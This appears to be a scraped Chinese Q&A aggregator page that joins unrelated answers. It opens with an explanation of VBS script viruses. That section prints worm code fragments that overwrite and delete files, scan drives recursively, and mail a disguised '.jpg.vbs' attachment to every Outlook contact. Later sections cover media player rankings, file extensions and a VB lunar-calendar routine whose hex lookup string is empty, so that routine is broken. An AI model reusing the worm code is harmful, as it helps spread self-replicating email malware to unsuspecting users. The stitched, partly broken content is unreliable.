病毒其實就是一段程序,一是一,二是二,一點也不可怕和神秘,只要不運行它,它就是死的,非常安全,如果你怕在提取過程中誤運行了病毒,可以把病毒程序文件的擴展名改一下,改為不可被執行或被直接打開的擴展名即可,或根本就不要擴展名,這樣在拷貝、傳輸過程中就非常安全了

2要怎麼分析
(1)http://www.qiker.com/jiaocheng/hei6/%B2%A1%B6%BE%D0%C5%CF%A2/vir00041.htm(病毒分析祥解)
(2)一、Vbs腳本病毒的特點及發展現狀
VBS病毒是用VB Script編寫而成,該腳本語言功能非常強大,它們利用Windows系統的開放性特點,通過調用一些現成的Windows對象、組件,可以直接對文件系統、注冊表等進行控制,功能非常強大。應該說病毒就是一種思想,但是這種思想在用VBS實現時變得極其容易。VBS腳本病毒具有如下幾個特點:
1.編寫簡單,一個以前對病毒一無所知的病毒愛好者可以在很短的時間里編出一個新型病毒來。
2.破壞力大。其破壞力不僅表現在對用戶系統文件及性能的破壞。他還可以使郵件伺服器崩潰,網路發生嚴重阻塞。
3.感染力強。由於腳本是直接解釋執行,並且它不需要像PE病毒那樣,需要做復雜的PE文件格式處理,因此這類病毒可以直接通過自我復制的方式感染其他同類文件,並且自我的異常處理變得非常容易。
4.傳播范圍大。這類病毒通過htm文檔,Email附件或其它方式,可以在很短時間內傳遍世界各地。
5.病毒源碼容易被獲取,變種多。由於VBS病毒解釋執行,其源代碼可讀性非常強,即使病毒源碼經過加密處理後,其源代碼的獲取還是比較簡單。因此,這類病毒變種比較多,稍微改變一下病毒的結構,或者修改一下特徵值,很多殺毒軟體可能就無能為力。
6.欺騙性強。腳本病毒為了得到運行機會,往往會採用各種讓用戶不大注意的手段,譬如,郵件的附件名採用雙後綴,如.jpg.vbs,由於系統默認不顯示後綴,這樣,用戶看到這個文件的時候,就會認為它是一個jpg圖片文件。
7.使得病毒生產機實現起來非常容易。所謂病毒生產機,就是可以按照用戶的意願,生產病毒的機器(當然,這里指的是程序),目前的病毒生產機,之所以大多數都為腳本病毒生產機,其中最重要的一點還是因為腳本是解釋執行的,實現起來非常容易,具體將在我們後面談及。
正因為以上幾個特點,腳本病毒發展異常迅猛,特別是病毒生產機的出現,使得生成新型腳本病毒變得非常容易。

二、Vbs腳本病毒原理分析
1.vbs腳本病毒如何感染、搜索文件
VBS腳本病毒一般是直接通過自我復制來感染文件的,病毒中的絕大部分代碼都可以直接附加在其他同類程序的中間,譬如新歡樂時光病毒可以將自己的代碼附加在.htm文件的尾部,並在頂部加入一條調用病毒代碼的語句,而愛蟲病毒則是直接生成一個文件的副本,將病毒代碼拷入其中,並以原文件名作為病毒文件名的前綴,vbs作為後綴。下面我們通過愛蟲病毒的部分代碼具體分析一下這類病毒的感染和搜索原理:
以下是文件感染的部分關鍵代碼:
Set fso=createobject("scripting.filesystemobject") '創建一個文件系統對象
set self=fso.opentextfile(wscript.scriptfullname,1) '讀打開當前文件(即病毒本身)
vbs=self.readall ' 讀取病毒全部代碼到字元串變數vbs……
set ap=fso.opentextfile(目標文件.path,2,true) ' 寫打開目標文件,准備寫入病毒代碼
ap.write vbs ' 將病毒代碼覆蓋目標文件
ap.close
set cop=fso.getfile(目標文件.path) '得到目標文件路徑
cop.(目標文件.path & ".vbs") ' 創建另外一個病毒文件(以.vbs為後綴)
目標文件.delete(true) '刪除目標文件
上面描述了病毒文件是如何感染正常文件的:首先將病毒自身代碼賦給字元串變數vbs,然後將這個字元串覆蓋寫到目標文件,並創建一個以目標文件名為文件名前綴、vbs為後綴的文件副本,最後刪除目標文件。
下面我們具體分析一下文件搜索代碼:
'該函數主要用來尋找滿足條件的文件,並生成對應文件的一個病毒副本
sub scan(folder_) 'scan函數定義,
on error resume next '如果出現錯誤,直接跳過,防止彈出錯誤窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '獲取文件後綴
ext=lcase(ext) '後綴名轉換成小寫字母
if ext="mp5" then '如果後綴名是mp5,則進行感染。請自己建立相應後綴名的文件,最好是非正常後綴名 ,以免破壞正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄;遞歸調用
scan( )
scan(subfolder)
next
end sub
上面的代碼就是VBS腳本病毒進行文件搜索的代碼分析。搜索部分scan( )函數做得比較短小精悍,非常巧妙,採用了一個遞歸的演算法遍歷整個分區的目錄和文件。

2.vbs腳本病毒通過網路傳播的幾種方式及代碼分析
VBS腳本病毒之所以傳播范圍廣,主要依賴於它的網路傳播功能,一般來說,VBS腳本病毒採用如下幾種方式進行傳播:
1)通過Email附件傳播
這是一種用的非常普遍的傳播方式,病毒可以通過各種方法拿到合法的Email地址,最常見的就是直接取outlook地址簿中的郵件地址,也可以通過程序在用戶文檔(譬如htm文件)中搜索Email地址。
下面我們具體分析一下VBS腳本病毒是如何做到這一點的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //創建一個OUTLOOK應用的對象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") //獲取MAPI的名字空間
Set addrList= mapiObj.AddressLists //獲取地址表的個數
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //獲取每個地址表的Email記錄數
For addrEntIndex= 1 To addrEntCount //遍歷地址表的Email地址
Set item = outlookApp.CreateItem(0) //獲取一個郵件對象實例
Set addrEnt = addr.AddressEntries(addrEntIndex) //獲取具體Email地址
item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒傳播實驗" //寫入郵件標題
item.Body = "這里是病毒郵件傳播測試,收到此信請不要慌張!" //寫入文件內容
Set attachMents=item.Attachments //定義郵件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交後自動刪除
If item.To <> "" Then
item.Send //發送郵件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒標記,以免重復感染
End If
Next
End If
Next
End if
End Function

太多了~你能不能自己去看?網路發不來~還有250分
http://topic.csdn.net/t/20040717/09/3183195.html

F. 最好的播放器十大排名

1、PotPlayer

視頻播放器排行榜.上PotPlayer基本都會上榜,是無數人心中最好用的播放器,是-款多格式視頻播放工具 ,擁有強大的內置解碼器用於解碼播放,支持幀定位,幾乎可以播放所有格式的視頻,解碼功能很出色,啟動速度和播放速度都非常快,並且無需額外的轉碼和設置,同時還可以載入直播源,支持自定義皮膚。

G. 文件格式分類

arc 壓縮文件,pkarc的壓縮文件.
arj 壓縮文件asc 任何地方 無格式的文本文件,只含有文本.
asm masm,tasm 匯編語言程序,
asx mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
avi 多媒體(游戲)中 動畫文件,(Audio Video Interface)微軟標准動畫文件, bak 任何地方 備份文件,
bas basica,qbasic basic語言程序,
bat 任何地方 批處理文件,
bgi Borland公司的圖形界面文件,
bin (Binary)dos的二進制文件,
bmp 任何地方 圖形文件,點陣圖文件,分灰度,256色,和真彩

c tubro c c語言程序,
cab 微軟軟體 壓縮軟體,
cda cd碟 cd文件,
cfg 任何地方 配置文件,
chk 由chkdsk.exe產生的文件,
cmf 音樂文件,(Creative Music File)Creative公司的音樂文件,
com 任何地方 可執行文件,
cpl windows 控制面板文件,
cpp c++ c++語言程序,
dat 任何地方 二進制數據文件, 字串4
dat vcd光碟 vcd文件,
dat 游戲中 存檔文件,如果游戲存檔退出後用dir/os顯示的最後一文件是
dat,那麼它就有可能是存檔文件。
dbf Foxbase dBase,Foxbase等的標准資料庫文件,
ddi 壓縮文件,diskpe的壓縮文件,可由hd-還原
dll windows\system (Dynamic Linked Libraty)Windows動態鏈接庫
doc word 文本文件,(Document)Windows Word 文檔
drv (Drive)驅動程序
dsm mod 文件
eps PostScript所用的格式
exe 任何地方 可執行文件,
fli 動畫文件,Auto Desk公司的動畫文件,
fmt foxbase 格式文件,Foxbase中系統給用戶提供的編寫各種不同格式的文件,
fnt windows 字體文件,(Font)Windows的字體文件,
fox foxbase 程序文件,foxbase編譯過的*.prg程序文件
frm Visual Basic VB系列的Form窗體文件,
frm Foxbase 報表格式文件,Foxbase中的報表格式文件
frm 注冊文件,
fxp Foxpro 程序文件,Foxpro編譯過的*.prg程序文件
gb 網上常見 文本文件,gb格式的文本
gif 網上常見 圖形文件,有256色,真彩,gif89等,
h tubro c c語言所需要的include的頭文件,
hlp 任何地方 幫助文件,
hpp c++ c++的頭文件
htm internet 超文本文件,
icn windows 圖標文件,windows的圖標文件(Icon)
ico windows 圖標文件,windows的圖標文件(Icon)
idx Foxbase 索引文件,
idxe Foxbase 索引文件,
iff 圖形文件,AMIGAIFF格式文件
img 磁碟鏡像文件,由hd-還原
ini 任何地方 (Initial)初始化文件,
ins 音色文件,Creative公司的音色文件,
it Impulse Tracker moles(應該是一種聲音文件)
izh 壓縮文件,由lha解壓
jpg 任何地方 圖形文件,依照jpeg壓縮規格的圖形文件,
lbl Foxbase 標簽文件,
lbm 圖形文件,
m3u mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
mbd Office 表格文件,Access的表格文件,
mem Foxbase 內存變數文件,用來存放內存變數的文件
mid 任何地方 midi文件,
midi 任何地方midi文件,
mlv vcd mpeg文件,
mod mod文件,protracker moles
mov 多媒體中 動畫文件,壓縮率極大的格式
mp2 聲音文件,壓縮率極大的格式
mp3 mp3 聲音文件,壓縮率極大的格式
mpe vcd mpeg文件,
mpeg vcd mpeg文件,
mpg vcd mpeg文件,
mpv vcd mpeg文件,
ndx Foxbase 索引文件,
obj 編程語言中 目標文件(Object)
pas pascal pascal語言程序,
pbc 分布式程序庫,
pbd 動態運行程序,
pbm 圖形文件,
pbr 資源文件,
pcx 任何地方 圖形文件,
pgm 圖形文件,
pif windows (Program Information File)Windows執行dos程序的資訊文件, 字串1
pls mp3 列表文件,mp3 playlist(mp3播放文件列表文件)
png 圖形文件,
prg Foxbase 程序文件,Foxbase的程序文件
pwl win95,windows\*.pwl 口令文件,刪除後可取消windows開機用戶口令
qid 線導文件,
reg 注冊表的備份文件,
rle 圖形文件,
s3m Screamtracker Moles(應該也是一種聲音文件)
scr windows 屏幕保護程序,
stm Screamtracker Moles(應該也是一種聲音文件)
sys 任何地方 設備驅動程序(系統文件) 這類文件含有關於硬體的說明.
tga 圖形文件,
tif 圖形文件,
tmp 幾乎任何地方,temp\*.tmp 臨時文件,非正常退出時產生的臨時文件,可刪除
vol 任何地方 聲音文件,
wav 任何地方, 聲音文件,
wmf 圖形文件,
wps wps中,ucdos\*.wps wps 文件,記錄文本,表格 字串4
wri 文本文件,Windows書寫器文件
xls Office 表格文件,Excel的表格文件,
xm extended moles(應該也是一種聲音文件)
zip 任何地方 壓縮文件,
文檔文件 txt(所有文字處理軟體或編輯器都可打開)、doc(word及wps等軟體可打開)、hlp(adobe acrobat reader可打開)、wps(wps軟體可打開)、rtf(word及wps等軟體可打開)、htm(各種瀏覽器可打開、用寫字板打開可查看其源代碼)、pdf(adobe acrobat reader 和各種電子閱讀軟體可打開)
壓縮文件 rar(winrar可打開)、zip(winzip可打開)、arj(用arj解壓縮後可打開)、gz(unix系統的壓縮文件,用winzip可打開)、z(unix系統的壓縮文件,用winzip可打開)
圖形文件 bmp、gif、jpg、pic、png、tif(這些文件類型用常用圖像處理軟體可打開) 字串7 聲音文件 wav(媒本播放器可打開)、aif(常用聲音處理軟體可打開)、au(常用聲音處理軟體可打開)、mp3(由winamp播放)、ram(由realplayer播放)
動畫文件 avi(常用動畫處理軟體可播放)、mpg(由vmpeg播放)、mov(由activemovie播放)、swf(用flash自帶的players程序可播放)
系統文件 int、sys、dll、adt
可執行文件 exe、com
語言文件 c、asm、for、lib、lst、msg、obj、pas、wki、bas
映像文件 map (其每一行都定義了一個圖像區域以及當該區域被觸發後應返回的url信息)
備份文件 bak(被自動或是通過命令創建的輔助文件,它包含某個文件的最近一個版本)
臨時文件 $ $ $(word、excel等軟體在操作時會產生此類文件)
模板文件 dot(通過word模板可以簡化一些常用格式文檔的創建工作)
批處理文件 bat(在ms-dos中,bat文件是可執行文件,由一系列命令構成,其中可以包含對其他程序的調用)

H. 我問朋友有什麼好實用的播放器,朋友推薦我安裝影音先鋒播放器是什麼

有哦有哦😊!

1.首先推薦一款超級簡潔的播放器mpv。一般搜不到,只有搜索mpv.io才會出來這傢伙的網站。說明一下,這是個開源軟體,界面極其簡單!簡單到什麼程度?連菜單都沒有!神馬調速,音量,快進統統用鍵盤操作,所以你只有先看說明書才知道怎麼用!支持幾部影片同時觀看!缺點是最新版只支持Win10,舊版才支持Win7,所以要選對版本哦!

下面是MPV的截圖:

最後註明:這兩款播放器都是PC端播放器!

I. 我想要一個計算生辰八字的vb語言源碼

這個是有計算方法的,只要你有計算公式我就可以計算出來的。但是前提你要有計算公式才行。

'公歷轉農歷模塊

'// 農歷數據定義 //
'先以 H2B 函數還原成長度為 18 的字元串,其定義如下:
'前12個位元組代表1-12月:1為大月,0為小月;壓縮成十六進制(1-3位)
'第13位為閏月的情況,1為大月30天,0為小月29天;(4位)
'第14位為閏月的月份,如果不是閏月為0,否則給出月份(5位)
'最後4位為當年農歷新年的公歷日期,如0131代表1月31日;當作數值轉十六進制(6-7位)

'農歷常量(1899~2100,共202年)
Private Const ylData = "AB500D2,4BD0883," _
& "4AE00DB,A5700D0,54D0581,D2600D8,D9500CC,655147D,56A00D5,9AD00CA,55D027A,4AE00D2," _
& "A5B0682,A4D00DA,D2500CE,D25157E,B5500D6,56A00CC,ADA027B,95B00D3,49717C9,49B00DC," _
& "A4B00D0,B4B0580,6A500D8,6D400CD,AB5147C,2B600D5,95700CA,52F027B,49700D2,6560682," _
& "D4A00D9,EA500CE,6A9157E,5AD00D6,2B600CC,86E137C,92E00D3,C8D1783,C9500DB,D4A00D0," _
& "D8A167F,B5500D7,56A00CD,A5B147D,25D00D5,92D00CA,D2B027A,A9500D2,B550781,6CA00D9," _
& "B5500CE,535157F,4DA00D6,A5B00CB,457037C,52B00D4,A9A0883,E9500DA,6AA00D0,AEA0680," _
& "AB500D7,4B600CD,AAE047D,A5700D5,52600CA,F260379,D9500D1,5B50782,56A00D9,96D00CE," _
& "4DD057F,4AD00D7,A4D00CB,D4D047B,D2500D3,D550883,B5400DA,B6A00CF,95A1680,95B00D8," _
& "49B00CD,A97047D,A4B00D5,B270ACA,6A500DC,6D400D1,AF40681,AB600D9,93700CE,4AF057F," _
& "49700D7,64B00CC,74A037B,EA500D2,6B50883,5AC00DB,AB600CF,96D0580,92E00D8,C9600CD," _
& "D95047C,D4A00D4,DA500C9,755027A,56A00D1,ABB0781,25D00DA,92D00CF,CAB057E,A9500D6," _
& "B4A00CB,BAA047B,B5500D2,55D0983,4BA00DB,A5B00D0,5171680,52B00D8,A9300CD,795047D," _
& "6AA00D4,AD500C9,5B5027A,4B600D2,96E0681,A4E00D9,D2600CE,EA6057E,D5300D5,5AA00CB," _
& "76A037B,96D00D3,4AB0B83,4AD00DB,A4D00D0,D0B1680,D2500D7,D5200CC,DD4057C,B5A00D4," _
& "56D00C9,55B027A,49B00D2,A570782,A4B00D9,AA500CE,B25157E,6D200D6,ADA00CA,4B6137B," _
& "93700D3,49F08C9,49700DB,64B00D0,68A1680,EA500D7,6AA00CC,A6C147C,AAE00D4,92E00CA," _
& "D2E0379,C9600D1,D550781,D4A00D9,DA400CD,5D5057E,56A00D6,A6C00CB,55D047B,52D00D3," _
& "A9B0883,A9500DB,B4A00CF,B6A067F,AD500D7,55A00CD,ABA047C,A5A00D4,52B00CA,B27037A," _
& "69300D1,7330781,6AA00D9,AD500CE,4B5157E,4B600D6,A5700CB,54E047C,D1600D2,E960882," _
& "D5200DA,DAA00CF,6AA167F,56D00D7,4AE00CD,A9D047D,A2D00D4,D1500C9,F250279,D5200D1"

Private Const ylMd0 = "初一初二初三初四初五初六初七初八初九初十十一十二十三十四十五" _
& "十六十七十八十九二十廿一廿二廿三廿四廿五廿六廿七廿八廿九三十 "

Private Const ylMn0 = "正二三四五六七八九十冬臘"
Private Const ylTianGan0 = "甲乙丙丁戊已庚辛壬癸"
Private Const ylDiZhi0 = "子丑寅卯辰巳午未申酉戌亥"
Private Const ylShu0 = "鼠牛虎兔龍蛇馬羊猴雞狗豬"

'公歷日期轉農歷
Function GetYLDate(ByVal strDate As String) As String

On Error GoTo aErr

If Not IsDate(strDate) Then Exit Function

Dim setDate As Date, tYear As Integer, tMonth As Integer, tDay As Integer
setDate = CDate(strDate)
tYear = Year(setDate): tMonth = Month(setDate): tDay = Day(setDate)

'如果不是有效有日期,退出
If tYear > 2100 Or tYear < 1900 Then Exit Function

Dim daList() As String * 18, conDate As Date, thisMonths As String
Dim AddYear As Integer, AddMonth As Integer, AddDay As Integer, getDay As Integer
Dim YLyear As String, YLShuXing As String
Dim dd0 As String, mm0 As String, gan(0 To 59) As String * 2
Dim RunYue As Boolean, RunYue1 As Integer, mDays As Integer, i As Integer

'載入2年內的農歷數據
ReDim daList(tYear - 1 To tYear)
daList(tYear - 1) = H2B(Mid(ylData, (tYear - 1900) * 8 + 1, 7))
daList(tYear) = H2B(Mid(ylData, (tYear - 1900 + 1) * 8 + 1, 7))

AddYear = tYear

initYL:

AddMonth = CInt(Mid(daList(AddYear), 15, 2))
AddDay = CInt(Mid(daList(AddYear), 17, 2))
conDate = DateSerial(AddYear, AddMonth, AddDay) '農歷新年日期

getDay = DateDiff("d", conDate, setDate) + 1 '相差天數
If getDay < 1 Then AddYear = AddYear - 1: GoTo initYL

thisMonths = Left(daList(AddYear), 14)
RunYue1 = Val("&H" & Right(thisMonths, 1)) '閏月月份
If RunYue1 > 0 Then '有閏月
thisMonths = Left(thisMonths, RunYue1) & Mid(thisMonths, 13, 1) & Mid(thisMonths, RunYue1 + 1)
End If
thisMonths = Left(thisMonths, 13)

For i = 1 To 13 '計算天數
mDays = 29 + CInt(Mid(thisMonths, i, 1))
If getDay > mDays Then
getDay = getDay - mDays
Else
If RunYue1 > 0 Then
If i = RunYue1 + 1 Then RunYue = True
If i > RunYue1 Then i = i - 1
End If

AddMonth = i
AddDay = getDay
Exit For
End If
Next

dd0 = Mid(ylMd0, (AddDay - 1) * 2 + 1, 2)
mm0 = Mid(ylMn0, AddMonth, 1) + "月"

For i = 0 To 59
gan(i) = Mid(ylTianGan0, (i Mod 10) + 1, 1) + Mid(ylDiZhi0, (i Mod 12) + 1, 1)
Next i

YLyear = gan((AddYear - 4) Mod 60)
YLShuXing = Mid(ylShu0, ((AddYear - 4) Mod 12) + 1, 1)
If RunYue Then mm0 = "閏" & mm0

GetYLDate = "農歷 " & YLyear & "(" & YLShuXing & ")年" & mm0 & dd0

aErr:

End Function

'農歷轉公歷日期
'secondMonth 為真,則天示當 tMonth 是閏月時,取第二個月
Function GetDate(ByVal tYear As Integer, tMonth As Integer, tDay As Integer, Optional secondMonth As Boolean = False) As String

On Error GoTo aErr

If tYear > 2100 Or tYear < 1899 Or tMonth > 12 Or tMonth < 1 Or tDay > 30 Or tDay < 1 Then Exit Function

Dim thisMonths As String, ylNewYear As Date, toMonth As Integer
Dim mDays As Integer, RunYue1 As Integer, i As Integer
thisMonths = H2B(Mid(ylData, (tYear - 1899) * 8 + 1, 7))

If tDay > 29 + CInt(Mid(thisMonths, tMonth, 1)) Then Exit Function

ylNewYear = DateSerial(tYear, CInt(Mid(thisMonths, 15, 2)), CInt(Mid(thisMonths, 17, 2))) '農歷新年日期

thisMonths = Left(thisMonths, 14)
RunYue1 = Val("&H" & Right(thisMonths, 1)) '閏月月份

toMonth = tMonth - 1
If RunYue1 > 0 Then '有閏月
thisMonths = Left(thisMonths, RunYue1) & Mid(thisMonths, 13, 1) & Mid(thisMonths, RunYue1 + 1)
If tMonth > RunYue1 Or (secondMonth And tMonth = RunYue1) Then toMonth = tMonth
End If
thisMonths = Left(thisMonths, 13)

mDays = 0
For i = 1 To toMonth
mDays = mDays + 29 + CInt(Mid(thisMonths, i, 1))
Next
mDays = mDays + tDay

GetDate = ylNewYear + mDays - 1

aErr:

End Function

'將壓縮的陰歷字元還原
Private Function H2B(ByVal strHex As String) As String
Dim i As Integer, i1 As Integer, tmpV As String
Const hStr = "0123456789ABCDEF"
Const bStr = ""

tmpV = UCase(Left(strHex, 3))

'十六進制轉二進制
For i = 1 To Len(tmpV)
i1 = InStr(hStr, Mid(tmpV, i, 1))
H2B = H2B & Mid(bStr, (i1 - 1) * 4 + 1, 4)
Next

H2B = H2B & Mid(strHex, 4, 2)

'十六進制轉十進制
H2B = H2B & "0" & CStr(Val("&H" & Right(strHex, 2)))
End Function
Private Sub Command1_Click()
Label1.Caption = GetYLDate(Text1.Text)
End Sub

閱讀全文

與mpv源碼編譯相關的資料

熱點內容
程序員用得到數字區嗎 瀏覽:170
python求商 瀏覽:473
ipad能用c語言編譯器嗎 瀏覽:557
軟泥解壓球最新版 瀏覽:994
4萬程序員辭職創業 瀏覽:755
thinkingphp 瀏覽:593
安卓相冊移動文件夾 瀏覽:2
耳朵清潔解壓聲控99的人都睡得著 瀏覽:201
叉車出租網站源碼 瀏覽:870
共享單車的app是什麼 瀏覽:404
不帶gui的伺服器什麼意思 瀏覽:369
金剛經及PDF 瀏覽:98
php中冒號 瀏覽:354
php5432 瀏覽:348
命令在哪使用 瀏覽:168
php獲取網頁元素 瀏覽:704
為什麼需要硬體驅動編譯 瀏覽:881
pm編程怎樣看導柱孔對不對稱 瀏覽:134
農業大學選課找不到伺服器怎麼辦 瀏覽:645
路由配置網關命令 瀏覽:931